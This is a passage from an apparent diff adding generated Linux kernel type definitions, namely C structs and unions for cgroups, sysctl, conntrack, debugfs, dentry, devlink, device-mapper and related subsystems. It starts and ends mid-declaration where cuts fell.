*mg_dst_cset; + bool dead; + struct callback_head callback_head; +}; + +struct css_set__safe_rcu { + struct cgroup *dfl_cgrp; +}; + +struct cstate_entry { + struct { + unsigned int eax; + unsigned int ecx; + } states[8]; +}; + +struct cstate_model { + unsigned long core_events; + unsigned long pkg_events; + unsigned long module_events; + unsigned long quirks; +}; + +struct csum_state { + __wsum csum; + size_t off; +}; + +struct ct_data_s { + union { + ush freq; + ush code; + } fc; + union { + ush dad; + ush len; + } dl; +}; + +typedef struct ct_data_s ct_data; + +struct ct_expect_iter_state { + struct seq_net_private p; + unsigned int bucket; +}; + +struct ct_iter_state { + struct seq_net_private p; + struct hlist_nulls_head *hash; + unsigned int htable_size; + unsigned int bucket; + u_int64_t time_now; +}; + +struct ct_kill_notif { + __le16 temperature; + u8 dts; + u8 scheme; +}; + +struct ctl_table_root; + +struct ctl_table_set; + +struct ctl_dir; + +struct ctl_node; + +struct ctl_table_header { + union { + struct { + struct ctl_table *ctl_table; + int ctl_table_size; + int used; + int count; + int nreg; + }; + struct callback_head rcu; + }; + struct completion *unregistering; + const struct ctl_table *ctl_table_arg; + struct ctl_table_root *root; + struct ctl_table_set *set; + struct ctl_dir *parent; + struct ctl_node *node; + struct hlist_head inodes; + enum { + SYSCTL_TABLE_TYPE_DEFAULT = 0, + SYSCTL_TABLE_TYPE_PERMANENTLY_EMPTY = 1, + } type; +}; + +struct ctl_dir { + struct ctl_table_header header; + struct rb_root root; +}; + +struct ctl_node { + struct rb_node node; + struct ctl_table_header *header; +}; + +typedef int proc_handler(const struct ctl_table *, int, void *, size_t *, loff_t *); + +struct ctl_table_poll; + +struct ctl_table { + const char *procname; + void *data; + int maxlen; + umode_t mode; + proc_handler *proc_handler; + struct ctl_table_poll *poll; + void *extra1; + void *extra2; +}; + +struct ctl_table_poll { + atomic_t event; + wait_queue_head_t wait; +}; + +struct ctl_table_set { + int (*is_seen)(struct ctl_table_set *); + struct ctl_dir dir; +}; + +struct ctl_table_root { + struct ctl_table_set default_set; + struct ctl_table_set * (*lookup)(struct ctl_table_root *); + void (*set_ownership)(struct ctl_table_header *, kuid_t *, kgid_t *); + int (*permissions)(struct ctl_table_header *, const struct ctl_table *); +}; + +union nf_inet_addr { + __u32 all[4]; + __be32 ip; + __be32 ip6[4]; + struct in_addr in; + struct in6_addr in6; +}; + +union nf_conntrack_man_proto { + __be16 all; + struct { + __be16 port; + } tcp; + struct { + __be16 port; + } udp; + struct { + __be16 id; + } icmp; + struct { + __be16 port; + } dccp; + struct { + __be16 port; + } sctp; + struct { + __be16 key; + } gre; +}; + +struct nf_conntrack_man { + union nf_inet_addr u3; + union nf_conntrack_man_proto u; + u_int16_t l3num; +}; + +struct nf_conntrack_tuple { + struct nf_conntrack_man src; + struct { + union nf_inet_addr u3; + union { + __be16 all; + struct { + __be16 port; + } tcp; + struct { + __be16 port; + } udp; + struct { + u_int8_t type; + u_int8_t code; + } icmp; + struct { + __be16 port; + } dccp; + struct { + __be16 port; + } sctp; + struct { + __be16 key; + } gre; + } u; + u_int8_t protonum; + struct {} __nfct_hash_offsetend; + u_int8_t dir; + } dst; +}; + +struct nf_conntrack_zone { + u16 id; + u8 flags; + u8 dir; +}; + +struct ctnetlink_filter_u32 { + u32 val; + u32 mask; +}; + +struct ctnetlink_filter { + u8 family; + bool zone_filter; + u_int32_t orig_flags; + u_int32_t reply_flags; + struct nf_conntrack_tuple orig; + struct nf_conntrack_tuple reply; + struct nf_conntrack_zone zone; + struct ctnetlink_filter_u32 mark; + struct ctnetlink_filter_u32 status; +}; + +struct nf_conn; + +struct ctnetlink_list_dump_ctx { + struct nf_conn *last; + unsigned int cpu; + bool done; +}; + +struct netlink_policy_dump_state; + +struct genl_family; + +struct genl_op_iter; + +struct ctrl_dump_policy_ctx { + struct netlink_policy_dump_state *state; + const struct genl_family *rt; + struct genl_op_iter *op_iter; + u32 op; + u16 fam_id; + u8 dump_map: 1; + u8 single_op: 1; +}; + +struct ctx_rq_wait { + struct completion comp; + atomic_t count; +}; + +struct ctx_switch_entry { + struct trace_entry ent; + unsigned int prev_pid; + unsigned int next_pid; + unsigned int next_cpu; + unsigned char prev_prio; + unsigned char prev_state; + unsigned char next_prio; + unsigned char next_state; +}; + +struct cyc2ns_data { + u32 cyc2ns_mul; + u32 cyc2ns_shift; + u64 cyc2ns_offset; +}; + +struct cyc2ns { + struct cyc2ns_data data[2]; + seqcount_latch_t seq; +}; + +struct cyclecounter { + u64 (*read)(const struct cyclecounter *); + u64 mask; + u32 mult; + u32 shift; +}; + +struct data_chunk { + size_t size; + size_t icg; + size_t dst_icg; + size_t src_icg; +}; + +struct rt2x00_dev; + +struct queue_entry; + +struct data_queue { + struct rt2x00_dev *rt2x00dev; + struct queue_entry *entries; + enum data_queue_qid qid; + unsigned long flags; + struct mutex status_lock; + spinlock_t tx_lock; + spinlock_t index_lock; + unsigned int count; + unsigned short limit; + unsigned short threshold; + unsigned short length; + unsigned short index[3]; + unsigned short wd_count; + unsigned int wd_idx; + unsigned short txop; + unsigned short aifs; + unsigned short cw_min; + unsigned short cw_max; + unsigned short data_size; + unsigned char desc_size; + unsigned char winfo_size; + unsigned short priv_size; + unsigned short usb_endpoint; + unsigned short usb_maxpacket; +}; + +struct data_reloc_warn { + struct btrfs_path path; + struct btrfs_fs_info *fs_info; + u64 extent_item_size; + u64 logical; + int mirror_num; +}; + +struct llc_sap; + +struct packet_type; + +struct datalink_proto { + unsigned char type[8]; + struct llc_sap *sap; + unsigned short header_length; + int (*rcvfunc)(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); + int (*request)(struct datalink_proto *, struct sk_buff *, const unsigned char *); + struct list_head node; +}; + +struct dax_device; + +struct dax_operations { + long (*direct_access)(struct dax_device *, unsigned long, long, enum dax_access_mode, void **, pfn_t *); + bool (*dax_supported)(struct dax_device *, struct block_device *, int, sector_t, sector_t); + int (*zero_page_range)(struct dax_device *, unsigned long, size_t); + size_t (*recovery_write)(struct dax_device *, unsigned long, void *, size_t, struct iov_iter *); +}; + +struct xhci_dbc; + +struct dbc_driver { + int (*configure)(struct xhci_dbc *); + void (*disconnect)(struct xhci_dbc *); +}; + +struct xhci_ring; + +struct dbc_ep { + struct xhci_dbc *dbc; + struct list_head list_pending; + struct xhci_ring *ring; + unsigned int direction: 1; +}; + +struct dbc_regs { + __le32 capability; + __le32 doorbell; + __le32 ersts; + __le32 __reserved_0; + __le64 erstba; + __le64 erdp; + __le32 control; + __le32 status; + __le32 portsc; + __le32 __reserved_1; + __le64 dccp; + __le32 devinfo1; + __le32 devinfo2; +}; + +union xhci_trb; + +struct dbc_request { + void *buf; + unsigned int length; + dma_addr_t dma; + void (*complete)(struct xhci_dbc *, struct dbc_request *); + struct list_head list_pool; + int status; + unsigned int actual; + struct xhci_dbc *dbc; + struct list_head list_pending; + dma_addr_t trb_dma; + union xhci_trb *trb; + unsigned int direction: 1; +}; + +struct dbc_str_descs { + char string0[64]; + char manufacturer[64]; + char product[64]; + char serial[64]; +}; + +struct gov_attr_set { + struct kobject kobj; + struct list_head policy_list; + struct mutex update_lock; + int usage_count; +}; + +struct dbs_governor; + +struct dbs_data { + struct gov_attr_set attr_set; + struct dbs_governor *gov; + void *tuners; + unsigned int ignore_nice_load; + unsigned int sampling_rate; + unsigned int sampling_down_factor; + unsigned int up_threshold; + unsigned int io_is_busy; +}; + +struct sysfs_ops; + +struct kobj_type { + void (*release)(struct kobject *); + const struct sysfs_ops *sysfs_ops; + const struct attribute_group **default_groups; + const struct kobj_ns_type_operations * (*child_ns_type)(const struct kobject *); + const void * (*namespace)(const struct kobject *); + void (*get_ownership)(const struct kobject *, kuid_t *, kgid_t *); +}; + +struct dbs_governor { + struct cpufreq_governor gov; + struct kobj_type kobj_type; + struct dbs_data *gdbs_data; + unsigned int (*gov_dbs_update)(struct cpufreq_policy *); + struct policy_dbs_info * (*alloc)(void); + void (*free)(struct policy_dbs_info *); + int (*init)(struct dbs_data *); + void (*exit)(struct dbs_data *); + void (*start)(struct cpufreq_policy *); +}; + +struct dccp_hdr { + __be16 dccph_sport; + __be16 dccph_dport; + __u8 dccph_doff; + __u8 dccph_cscov: 4; + __u8 dccph_ccval: 4; + __sum16 dccph_checksum; + __u8 dccph_x: 1; + __u8 dccph_type: 4; + __u8 dccph_reserved: 3; + __u8 dccph_seq2; + __be16 dccph_seq; +}; + +struct io_stats_per_prio { + uint32_t inserted; + uint32_t merged; + uint32_t dispatched; + atomic_t completed; +}; + +struct dd_per_prio { + struct list_head dispatch; + struct rb_root sort_list[2]; + struct list_head fifo_list[2]; + sector_t latest_pos[2]; + struct io_stats_per_prio stats; +}; + +struct ddebug_class_map { + struct list_head link; + struct module *mod; + const char *mod_name; + const char **class_names; + const int length; + const int base; + enum class_map_type map_type; +}; + +struct ddebug_class_param { + union { + unsigned long *bits; + unsigned int *lvl; + }; + char flags[8]; + const struct ddebug_class_map *map; +}; + +struct ddebug_table; + +struct ddebug_iter { + struct ddebug_table *table; + int idx; +}; + +struct ddebug_query { + const char *filename; + const char *module; + const char *function; + const char *format; + const char *class_string; + unsigned int first_lineno; + unsigned int last_lineno; +}; + +struct ddebug_table { + struct list_head link; + struct list_head maps; + const char *mod_name; + unsigned int num_ddebugs; + struct _ddebug *ddebugs; +}; + +struct deadline_data { + struct dd_per_prio per_prio[3]; + enum dd_data_dir last_dir; + unsigned int batching; + unsigned int starved; + int fifo_expire[2]; + int fifo_batch; + int writes_starved; + int front_merges; + u32 async_depth; + int prio_aging_expire; + spinlock_t lock; +}; + +struct usb_bus; + +struct debug_buffer { + ssize_t (*fill_func)(struct debug_buffer *); + struct usb_bus *bus; + struct mutex mutex; + size_t count; + char *output_buf; + size_t alloc_size; +}; + +struct debug_reply_data { + struct ethnl_reply_data base; + u32 msg_mask; +}; + +struct debugfs_blob_wrapper { + void *data; + unsigned long size; +}; + +struct debugfs_cancellation { + struct list_head list; + void (*cancel)(struct dentry *, void *); + void *cancel_data; +}; + +struct debugfs_devm_entry { + int (*read)(struct seq_file *, void *); + struct device *dev; +}; + +struct debugfs_fs_info { + kuid_t uid; + kgid_t gid; + umode_t mode; + unsigned int opts; +}; + +typedef struct vfsmount * (*debugfs_automount_t)(struct dentry *, void *); + +struct debugfs_fsdata { + const struct file_operations *real_fops; + union { + debugfs_automount_t automount; + struct { + refcount_t active_users; + struct completion active_users_drained; + struct mutex cancellations_mtx; + struct list_head cancellations; + }; + }; +}; + +struct debugfs_reg32 { + char *name; + unsigned long offset; +}; + +struct debugfs_regset32 { + const struct debugfs_reg32 *regs; + int nregs; + void *base; + struct device *dev; +}; + +struct debugfs_u32_array { + u32 *array; + u32 n_elements; +}; + +struct dec_data { + struct task_struct *thr; + struct crypto_comp *cc; + atomic_t ready; + atomic_t stop; + int ret; + wait_queue_head_t go; + wait_queue_head_t done; + size_t unc_len; + size_t cmp_len; + unsigned char unc[131072]; + unsigned char cmp[143360]; +}; + +struct dma_fence; + +struct dma_fence_cb; + +typedef void (*dma_fence_func_t)(struct dma_fence *, struct dma_fence_cb *); + +struct dma_fence_cb { + struct list_head node; + dma_fence_func_t func; +}; + +struct default_wait_cb { + struct dma_fence_cb base; + struct task_struct *task; +}; + +struct deferred_split { + spinlock_t split_queue_lock; + struct list_head split_queue; + unsigned long split_queue_len; +}; + +struct z_stream_s; + +typedef struct z_stream_s z_stream; + +typedef z_stream *z_streamp; + +struct static_tree_desc_s; + +typedef struct static_tree_desc_s static_tree_desc; + +struct tree_desc_s { + ct_data *dyn_tree; + int max_code; + static_tree_desc *stat_desc; +}; + +struct deflate_state { + z_streamp strm; + int status; + Byte *pending_buf; + ulg pending_buf_size; + Byte *pending_out; + int pending; + int noheader; + Byte data_type; + Byte method; + int last_flush; + uInt w_size; + uInt w_bits; + uInt w_mask; + Byte *window; + ulg window_size; + Pos *prev; + Pos *head; + uInt ins_h; + uInt hash_size; + uInt hash_bits; + uInt hash_mask; + uInt hash_shift; + long block_start; + uInt match_length; + IPos prev_match; + int match_available; + uInt strstart; + uInt match_start; + uInt lookahead; + uInt prev_length; + uInt max_chain_length; + uInt max_lazy_match; + int level; + int strategy; + uInt good_match; + int nice_match; + struct ct_data_s dyn_ltree[573]; + struct ct_data_s dyn_dtree[61]; + struct ct_data_s bl_tree[39]; + struct tree_desc_s l_desc; + struct tree_desc_s d_desc; + struct tree_desc_s bl_desc; + ush bl_count[16]; + int heap[573]; + int heap_len; + int heap_max; + uch depth[573]; + uch *l_buf; + uInt lit_bufsize; + uInt last_lit; + ush *d_buf; + ulg opt_len; + ulg static_len; + ulg compressed_len; + uInt matches; + int last_eob_len; + ush bi_buf; + int bi_valid; +}; + +struct deflate_workspace { + deflate_state deflate_memory; + Byte *window_memory; + Pos *prev_memory; + Pos *head_memory; + char *overlay_memory; +}; + +typedef struct deflate_workspace deflate_workspace; + +struct defrag_target_range { + struct list_head list; + u64 start; + u64 len; +}; + +struct delayed_call { + void (*fn)(void *); + void *arg; +}; + +struct pending_free { + struct list_head zapped; + unsigned long lock_chains_being_freed[1024]; +}; + +struct delayed_free { + struct callback_head callback_head; + int index; + int scheduled; + struct pending_free pf[2]; +}; + +struct delayed_uprobe { + struct list_head list; + struct uprobe *uprobe; + struct mm_struct *mm; +}; + +struct demotion_nodes { + nodemask_t preferred; +}; + +struct hlist_bl_node { + struct hlist_bl_node *next; + struct hlist_bl_node **pprev; +}; + +struct lockref { + union { + struct { + spinlock_t lock; + int count; + }; + }; +}; + +struct dentry_operations; + +struct dentry { + unsigned int d_flags; + seqcount_spinlock_t d_seq; + struct hlist_bl_node d_hash; + struct dentry *d_parent; + struct qstr d_name; + struct inode *d_inode; + unsigned char d_iname[40]; + const struct dentry_operations *d_op; + struct super_block *d_sb; + unsigned long d_time; + void *d_fsdata; + struct lockref d_lockref; + union { + struct list_head d_lru; + wait_queue_head_t *d_wait; + }; + struct hlist_node d_sib; + struct hlist_head d_children; + union { + struct hlist_node d_alias; + struct hlist_bl_node d_in_lookup_hash; + struct callback_head d_rcu; + } d_u; +}; + +struct dentry__safe_trusted { + struct inode *d_inode; +}; + +struct dentry_info_args { + int parent_ino; + int dname_len; + int ino; + int inode_len; + char *dname; +}; + +struct dentry_operations { + int (*d_revalidate)(struct dentry *, unsigned int); + int (*d_weak_revalidate)(struct dentry *, unsigned int); + int (*d_hash)(const struct dentry *, struct qstr *); + int (*d_compare)(const struct dentry *, unsigned int, const char *, const struct qstr *); + int (*d_delete)(const struct dentry *); + int (*d_init)(struct dentry *); + void (*d_release)(struct dentry *); + void (*d_prune)(struct dentry *); + void (*d_iput)(struct dentry *, struct inode *); + char * (*d_dname)(struct dentry *, char *, int); + struct vfsmount * (*d_automount)(struct path *); + int (*d_manage)(const struct path *, bool); + struct dentry * (*d_real)(struct dentry *, enum d_real_type); + long: 64; + long: 64; + long: 64; +}; + +struct dentry_stat_t { + long nr_dentry; + long nr_unused; + long age_limit; + long want_pages; + long nr_negative; + long dummy; +}; + +struct desc_ptr { + unsigned short size; + unsigned long address; +} __attribute__((packed)); + +struct desc_struct { + u16 limit0; + u16 base0; + u16 base1: 8; + u16 type: 4; + u16 s: 1; + u16 dpl: 2; + u16 p: 1; + u16 limit1: 4; + u16 avl: 1; + u16 l: 1; + u16 d: 1; + u16 g: 1; + u16 base2: 8; +}; + +struct slab; + +struct detached_freelist { + struct slab *slab; + void *tail; + void *freelist; + int cnt; + struct kmem_cache *s; +}; + +struct detected_devices_node { + struct list_head list; + dev_t dev; +}; + +struct dev_cgroup { + struct cgroup_subsys_state css; + struct list_head exceptions; + enum devcg_behavior behavior; +}; + +struct dev_exception_item { + u32 major; + u32 minor; + short type; + short access; + struct list_head list; + struct callback_head rcu; +}; + +struct dev_ext_attribute { + struct device_attribute attr; + void *var; +}; + +struct dev_ifalias { + struct callback_head rcuhead; + char ifalias[0]; +}; + +struct dev_kfree_skb_cb { + enum skb_drop_reason reason; +}; + +struct vmem_altmap { + unsigned long base_pfn; + const unsigned long end_pfn; + const unsigned long reserve; + unsigned long free; + unsigned long align; + unsigned long alloc; + bool inaccessible; +}; + +struct dev_pagemap_ops; + +struct dev_pagemap { + struct vmem_altmap altmap; + struct percpu_ref ref; + struct completion done; + enum memory_type type; + unsigned int flags; + unsigned long vmemmap_shift; + const struct dev_pagemap_ops *ops; + void *owner; + int nr_range; + union { + struct range range; + struct { + struct {} __empty_ranges; + struct range ranges[0]; + }; + }; +}; + +struct vm_fault; + +struct dev_pagemap_ops { + void (*page_free)(struct page *); + vm_fault_t (*migrate_to_ram)(struct vm_fault *); + int (*memory_failure)(struct dev_pagemap *, unsigned long, unsigned long, int); +}; + +struct dev_pm_ops { + int (*prepare)(struct device *); + void (*complete)(struct device *); + int (*suspend)(struct device *); + int (*resume)(struct device *); + int (*freeze)(struct device *); + int (*thaw)(struct device *); + int (*poweroff)(struct device *); + int (*restore)(struct device *); + int (*suspend_late)(struct device *); + int (*resume_early)(struct device *); + int (*freeze_late)(struct device *); + int (*thaw_early)(struct device *); + int (*poweroff_late)(struct device *); + int (*restore_early)(struct device *); + int (*suspend_noirq)(struct device *); + int (*resume_noirq)(struct device *); + int (*freeze_noirq)(struct device *); + int (*thaw_noirq)(struct device *); + int (*poweroff_noirq)(struct device *); + int (*restore_noirq)(struct device *); + int (*runtime_suspend)(struct device *); + int (*runtime_resume)(struct device *); + int (*runtime_idle)(struct device *); +}; + +struct dev_pm_domain { + struct dev_pm_ops ops; + int (*start)(struct device *); + void (*detach)(struct device *, bool); + int (*activate)(struct device *); + void (*sync)(struct device *); + void (*dismiss)(struct device *); + int (*set_performance_state)(struct device *, unsigned int); +}; + +struct dev_pm_domain_attach_data { + const char * const *pd_names; + const u32 num_pd_names; + const u32 pd_flags; +}; + +struct device_link; + +struct dev_pm_domain_list { + struct device **pd_devs; + struct device_link **pd_links; + u32 num_pds; +}; + +struct pm_qos_flags { + struct list_head list; + s32 effective_flags; +}; + +struct dev_pm_qos_request; + +struct dev_pm_qos { + struct pm_qos_constraints resume_latency; + struct pm_qos_constraints latency_tolerance; + struct freq_constraints freq; + struct pm_qos_flags flags; + struct dev_pm_qos_request *resume_latency_req; + struct dev_pm_qos_request *latency_tolerance_req; + struct dev_pm_qos_request *flags_req; +}; + +struct pm_qos_flags_request { + struct list_head node; + s32 flags; +}; + +struct dev_pm_qos_request { + enum dev_pm_qos_req_type type; + union { + struct plist_node pnode; + struct pm_qos_flags_request flr; + struct freq_qos_request freq; + } data; + struct device *dev; +}; + +struct dev_printk_info { + char subsystem[16]; + char device[48]; +}; + +struct devcd_entry { + struct device devcd_dev; + void *data; + size_t datalen; + struct mutex mutex; + bool delete_work; + struct module *owner; + ssize_t (*read)(char *, loff_t, size_t, void *, size_t); + void (*free)(void *); + struct delayed_work del_wk; + struct device *failing_dev; +}; + +struct device_attach_data { + struct device *dev; + bool check_async; + bool want_async; + bool have_async; +}; + +union device_attr_group_devres { + const struct attribute_group *group; + const struct attribute_group **groups; +}; + +struct device_dma_parameters { + unsigned int max_segment_size; + unsigned int min_align_mask; + unsigned long segment_boundary_mask; +}; + +struct device_link { + struct device *supplier; + struct list_head s_node; + struct device *consumer; + struct list_head c_node; + struct device link_dev; + enum device_link_state status; + u32 flags; + refcount_t rpm_active; + struct kref kref; + struct work_struct rm_work; + bool supplier_preactivated; +}; + +struct property; + +struct device_node { + const char *name; + phandle phandle; + const char *full_name; + struct fwnode_handle fwnode; + struct property *properties; + struct property *deadprops; + struct device_node *parent; + struct device_node *child; + struct device_node *sibling; + unsigned long _flags; + void *data; +}; + +struct device_physical_location { + enum device_physical_location_panel panel; + enum device_physical_location_vertical_position vertical_position; + enum device_physical_location_horizontal_position horizontal_position; + bool dock; + bool lid; +}; + +struct klist_node { + void *n_klist; + struct list_head n_node; + struct kref n_ref; +}; + +struct device_private { + struct klist klist_children; + struct klist_node knode_parent; + struct klist_node knode_driver; + struct klist_node knode_bus; + struct klist_node knode_class; + struct list_head deferred_probe; + const struct device_driver *async_driver; + char *deferred_probe_reason; + struct device *device; + u8 dead: 1; +}; + +struct device_type { + const char *name; + const struct attribute_group **groups; + int (*uevent)(const struct device *, struct kobj_uevent_env *); + char * (*devnode)(const struct device *, umode_t *, kuid_t *, kgid_t *); + void (*release)(struct device *); + const struct dev_pm_ops *pm; +}; + +struct devinet_sysctl_table { + struct ctl_table_header *sysctl_header; + struct ctl_table devinet_vars[33]; +}; + +struct ratelimit_state { + raw_spinlock_t lock; + int interval; + int burst; + int printed; + int missed; + unsigned int flags; + unsigned long begin; +}; + +struct printk_buffers { + char outbuf[2048]; + char scratchbuf[1024]; +}; + +struct devkmsg_user { + atomic64_t seq; + struct ratelimit_state rs; + struct mutex lock; + struct printk_buffers pbufs; +}; + +struct devlink; + +struct ib_device; + +struct netdev_phys_item_id { + unsigned char id[32]; + unsigned char id_len; +}; + +struct devlink_port_phys_attrs { + u32 port_number; + u32 split_subport_number; +}; + +struct devlink_port_pci_pf_attrs { + u32 controller; + u16 pf; + u8 external: 1; +}; + +struct devlink_port_pci_vf_attrs { + u32 controller; + u16 pf; + u16 vf; + u8 external: 1; +}; + +struct devlink_port_pci_sf_attrs { + u32 controller; + u32 sf; + u16 pf; + u8 external: 1; +}; + +struct devlink_port_attrs { + u8 split: 1; + u8 splittable: 1; + u32 lanes; + enum devlink_port_flavour flavour; + struct netdev_phys_item_id switch_id; + union { + struct devlink_port_phys_attrs phys; + struct devlink_port_pci_pf_attrs pci_pf; + struct devlink_port_pci_vf_attrs pci_vf; + struct devlink_port_pci_sf_attrs pci_sf; + }; +}; + +struct devlink_linecard; + +struct devlink_port_ops; + +struct devlink_rate; + +struct devlink_port { + struct list_head list; + struct list_head region_list; + struct devlink *devlink; + const struct devlink_port_ops *ops; + unsigned int index; + spinlock_t type_lock; + enum devlink_port_type type; + enum devlink_port_type desired_type; + union { + struct { + struct net_device *netdev; + int ifindex; + char ifname[16]; + } type_eth; + struct { + struct ib_device *ibdev; + } type_ib; + }; + struct devlink_port_attrs attrs; + u8 attrs_set: 1; + u8 switch_port: 1; + u8 registered: 1; + u8 initialized: 1; + struct delayed_work type_warn_dw; + struct list_head reporter_list; + struct devlink_rate *devlink_rate; + struct devlink_linecard *linecard; + u32 rel_index; +}; + +struct devlink_port_ops { + int (*port_split)(struct devlink *, struct devlink_port *, unsigned int, struct netlink_ext_ack *); + int (*port_unsplit)(struct devlink *, struct devlink_port *, struct netlink_ext_ack *); + int (*port_type_set)(struct devlink_port *, enum devlink_port_type); + int (*port_del)(struct devlink *, struct devlink_port *, struct netlink_ext_ack *); + int (*port_fn_hw_addr_get)(struct devlink_port *, u8 *, int *, struct netlink_ext_ack *); + int (*port_fn_hw_addr_set)(struct devlink_port *, const u8 *, int, struct netlink_ext_ack *); + int (*port_fn_roce_get)(struct devlink_port *, bool *, struct netlink_ext_ack *); + int (*port_fn_roce_set)(struct devlink_port *, bool, struct netlink_ext_ack *); + int (*port_fn_migratable_get)(struct devlink_port *, bool *, struct netlink_ext_ack *); + int (*port_fn_migratable_set)(struct devlink_port *, bool, struct netlink_ext_ack *); + int (*port_fn_state_get)(struct devlink_port *, enum devlink_port_fn_state *, enum devlink_port_fn_opstate *, struct netlink_ext_ack *); + int (*port_fn_state_set)(struct devlink_port *, enum devlink_port_fn_state, struct netlink_ext_ack *); + int (*port_fn_ipsec_crypto_get)(struct devlink_port *, bool *, struct netlink_ext_ack *); + int (*port_fn_ipsec_crypto_set)(struct devlink_port *, bool, struct netlink_ext_ack *); + int (*port_fn_ipsec_packet_get)(struct devlink_port *, bool *, struct netlink_ext_ack *); + int (*port_fn_ipsec_packet_set)(struct devlink_port *, bool, struct netlink_ext_ack *); + int (*port_fn_max_io_eqs_get)(struct devlink_port *, u32 *, struct netlink_ext_ack *); + int (*port_fn_max_io_eqs_set)(struct devlink_port *, u32, struct netlink_ext_ack *); +}; + +struct devlink_rate { + struct list_head list; + enum devlink_rate_type type; + struct devlink *devlink; + void *priv; + u64 tx_share; + u64 tx_max; + struct devlink_rate *parent; + union { + struct devlink_port *devlink_port; + struct { + char *name; + refcount_t refcnt; + }; + }; + u32 tx_priority; + u32 tx_weight; +}; + +struct devm_clk_state { + struct clk *clk; + void (*exit)(struct clk *); +}; + +typedef void (*dr_release_t)(struct device *, void *); + +struct devres_node { + struct list_head entry; + dr_release_t release; + const char *name; + size_t size; +}; + +struct devres { + struct devres_node node; + u8 data[0]; +}; + +struct devres_group { + struct devres_node node[2]; + void *id; + int color; +}; + +struct die_args { + struct pt_regs *regs; + const char *str; + long err; + int trapnr; + int signr; +}; + +struct dim_stats { + int ppms; + int bpms; + int epms; + int cpms; + int cpe_ratio; +}; + +struct dim_sample { + ktime_t time; + u32 pkt_ctr; + u32 byte_ctr; + u16 event_ctr; + u32 comp_ctr; +}; + +struct dim { + u8 state; + struct dim_stats prev_stats; + struct dim_sample start_sample; + struct dim_sample measuring_sample; + struct work_struct work; + void *priv; + u8 profile_ix; + u8 mode; + u8 tune_state; + u8 steps_right; + u8 steps_left; + u8 tired; +}; + +struct dim_cq_moder { + u16 usec; + u16 pkts; + u16 comps; + u8 cq_period_mode; + struct callback_head rcu; +}; + +struct dim_irq_moder { + u8 profile_flags; + u8 coal_flags; + u8 dim_rx_mode; + u8 dim_tx_mode; + struct dim_cq_moder __attribute__((btf_type_tag("rcu"))) *rx_profile; + struct dim_cq_moder __attribute__((btf_type_tag("rcu"))) *tx_profile; + void (*rx_dim_work)(struct work_struct *); + void (*tx_dim_work)(struct work_struct *); +}; + +typedef int dio_iodone_t(struct kiocb *, loff_t, ssize_t, void *); + +struct dio { + int flags; + blk_opf_t opf; + struct gendisk *bio_disk; + struct inode *inode; + loff_t i_size; + dio_iodone_t *end_io; + bool is_pinned; + void *private; + spinlock_t bio_lock; + int page_errors; + int is_async; + bool defer_completion; + bool should_dirty; + int io_error; + unsigned long refcount; + struct bio *bio_list; + struct task_struct *waiter; + struct kiocb *iocb; + ssize_t result; + union { + struct page *pages[64]; + struct work_struct complete_work; + }; + long: 64; + long: 64; +}; + +typedef int get_block_t(struct inode *, sector_t, struct buffer_head *, int); + +struct dio_submit { + struct bio *bio; + unsigned int blkbits; + unsigned int blkfactor; + unsigned int start_zero_done; + int pages_in_io; + sector_t block_in_file; + unsigned int blocks_available; + int reap_counter; + sector_t final_block_in_request; + int boundary; + get_block_t *get_block; + loff_t logical_offset_in_bio; + sector_t final_block_in_bio; + sector_t next_block_for_io; + struct page *cur_page; + unsigned int cur_page_offset; + unsigned int cur_page_len; + sector_t cur_page_block; + loff_t cur_page_fs_offset; + struct iov_iter *iter; + unsigned int head; + unsigned int tail; + size_t from; + size_t to; +}; + +struct dir_context; + +typedef bool (*filldir_t)(struct dir_context *, const char *, int, loff_t, u64, unsigned int); + +struct dir_context { + filldir_t actor; + loff_t pos; +}; + +struct dir_entry { + u64 ino; + u64 offset; + unsigned int type; + int name_len; +}; + +struct fname; + +struct dir_private_info { + struct rb_root root; + struct rb_node *curr_node; + struct fname *extra_fname; + loff_t last_pos; + __u32 curr_hash; + __u32 curr_minor_hash; + __u32 next_hash; + u64 cookie; + bool initialized; +}; + +struct wb_domain; + +struct dirty_throttle_control { + struct wb_domain *dom; + struct dirty_throttle_control *gdtc; + struct bdi_writeback *wb; + struct fprop_local_percpu *wb_completions; + unsigned long avail; + unsigned long dirty; + unsigned long thresh; + unsigned long bg_thresh; + unsigned long wb_dirty; + unsigned long wb_thresh; + unsigned long wb_bg_thresh; + unsigned long pos_ratio; + bool freerun; + bool dirty_exceeded; +}; + +struct disk_events { + struct list_head node; + struct gendisk *disk; + spinlock_t lock; + struct mutex block_mutex; + int block; + unsigned int pending; + unsigned int clearing; + long poll_msecs; + struct delayed_work dwork; +}; + +struct md_rdev; + +struct disk_info { + struct md_rdev *rdev; + struct md_rdev *replacement; + struct page *extra_page; +}; + +struct disk_stats { + u64 nsecs[4]; + unsigned long sectors[4]; + unsigned long ios[4]; + unsigned long merges[4]; + unsigned long io_ticks; + local_t in_flight[2]; +}; + +struct dispatch_rq_data { + struct blk_mq_hw_ctx *hctx; + struct request *rq; +}; + +struct dl_bw { + raw_spinlock_t lock; + u64 bw; + u64 total_bw; +}; + +struct dl_rq { + struct rb_root_cached root; + unsigned int dl_nr_running; + struct { + u64 curr; + u64 next; + } earliest_dl; + bool overloaded; + struct rb_root_cached pushable_dl_tasks_root; + u64 running_bw; + u64 this_bw; + u64 extra_bw; + u64 max_bw; + u64 bw_ratio; +}; + +struct dm_arg { + unsigned int min; + unsigned int max; + char *error; +}; + +struct dm_arg_set { + unsigned int argc; + char **argv; +}; + +struct dm_crypt_io { + struct crypt_config *cc; + struct bio *base_bio; + u8 *integrity_metadata; + bool integrity_metadata_from_pool: 1; + struct work_struct work; + struct convert_context ctx; + atomic_t io_pending; + blk_status_t error; + sector_t sector; + struct bvec_iter saved_bi_iter; + struct rb_node rb_node; +}; + +struct dm_crypt_request { + struct convert_context *ctx; + struct scatterlist sg_in[4]; + struct scatterlist sg_out[4]; + u64 iv_sector; +}; + +struct dm_dev { + struct block_device *bdev; + struct file *bdev_file; + struct dax_device *dax_dev; + blk_mode_t mode; + char name[16]; +}; + +struct dm_dev_internal { + struct list_head list; + refcount_t count; + struct dm_dev *dm_dev; +}; + +struct dm_file { + volatile unsigned int global_event_nr; +}; + +struct dm_stats_aux { + bool merged; + unsigned long long duration_ns; +}; + +struct dm_target_io { + unsigned short magic; + blk_short_t flags; + unsigned int target_bio_nr; + struct dm_io *io; + struct dm_target *ti; + unsigned int *len_ptr; + sector_t old_sector; + struct bio clone; +}; + +struct mapped_device; + +struct dm_io { + unsigned short magic; + blk_short_t flags; + spinlock_t lock; + unsigned long start_time; + void *data; + struct 